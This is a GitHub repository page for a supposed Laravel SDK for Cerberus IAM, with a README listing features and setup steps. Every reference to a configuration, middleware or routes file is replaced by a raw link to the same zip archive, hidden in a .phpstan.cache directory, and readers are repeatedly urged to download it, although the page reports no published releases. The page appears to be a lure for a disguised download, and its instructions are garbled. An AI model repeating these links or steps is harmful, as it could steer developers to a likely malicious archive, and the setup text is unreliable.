Skip to content

πŸ”— Streamline authentication in Laravel apps by outsourcing user management to Cerberus IAM, allowing for secure and efficient multi-tenant environments.

License

Notifications You must be signed in to change notification settings

magdysayed/laravel-sdk

Repository files navigation

πŸ›‘οΈ laravel-sdk - Seamless Laravel Integration Made Easy

Download laravel-sdk

πŸš€ Getting Started

Welcome to the laravel-sdk! This package helps you integrate Cerberus IAM with your Laravel application. It simplifies user authorization and enhances security with easy setup and reliable features.

πŸ“₯ Download & Install

To get started, visit this page to download the latest version of laravel-sdk: GitHub Releases. You will find the installation files and instructions on this page.

πŸ“‹ System Requirements

Before you download, here are the requirements for running the laravel-sdk on your machine:

  • PHP Version: 7.3 or later.
  • Laravel Version: 8.x or later.
  • Composer: Ensure you have Composer installed for package management.

πŸŽ‰ Features

The laravel-sdk package comes packed with useful features:

  • Authorization Code Flow: Simplifies user authentication.
  • Support for JWT and OIDC: Securely manage user identities.
  • Role-Based Access Control (RBAC): Control user permissions effectively.
  • Single Sign-On (SSO): Allow users to access multiple applications with a single login.
  • User Provisioning: Automatically manage user accounts.
  • Middleware: Easily integrate with existing Laravel middleware.

πŸ“– Usage Instructions

To set up the laravel-sdk in your Laravel project, follow these steps:

  1. Download the Package: Go to GitHub Releases and download the latest version.

  2. Install the Package: Open your terminal and navigate to your Laravel project directory. Run the following command:

    composer require magdysayed/laravel-sdk
  3. Publish the Configuration: After installation, publish the package config by running:

    php artisan vendor:publish --provider="Cerberus\LaravelSdk\CerberusServiceProvider"
  4. Configure the Package: Update the configuration file located at https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zip according to your setup. You need to input your IAM configurations here.

  5. Add Middleware: Add the required middleware to your https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zip file for user authentication.

  6. Run Migrations: If your package requires database migrations, run:

    php artisan migrate
  7. Test the Setup: You can start the Laravel server and test your installation:

    php artisan serve

✨ Example Use Case

To implement Single Sign-On using the laravel-sdk, follow these additional instructions:

  1. Configure your OIDC settings in the https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zip configuration file.
  2. Add routes for login and logout in your https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zip file.
  3. Use the provided middleware to protect your routes.

πŸ› οΈ Troubleshooting

If you encounter any issues while installing or using the laravel-sdk, check the following:

  • Ensure your PHP version meets the requirements.
  • Confirm that all configurations are correct in the https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zip file.
  • Check the application logs in storage/logs for specific error messages.

For any specific questions, consider reviewing the discussions or issues section of the GitHub page.

πŸ“š Additional Resources

To further understand how to use laravel-sdk, refer to these helpful links:

πŸ“¦ Download Again

Ready to enhance your Laravel application? Don’t forget to download the latest version here: GitHub Releases.

The laravel-sdk package simplifies user authentication for Laravel applications, allowing you to focus on building while we handle security.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages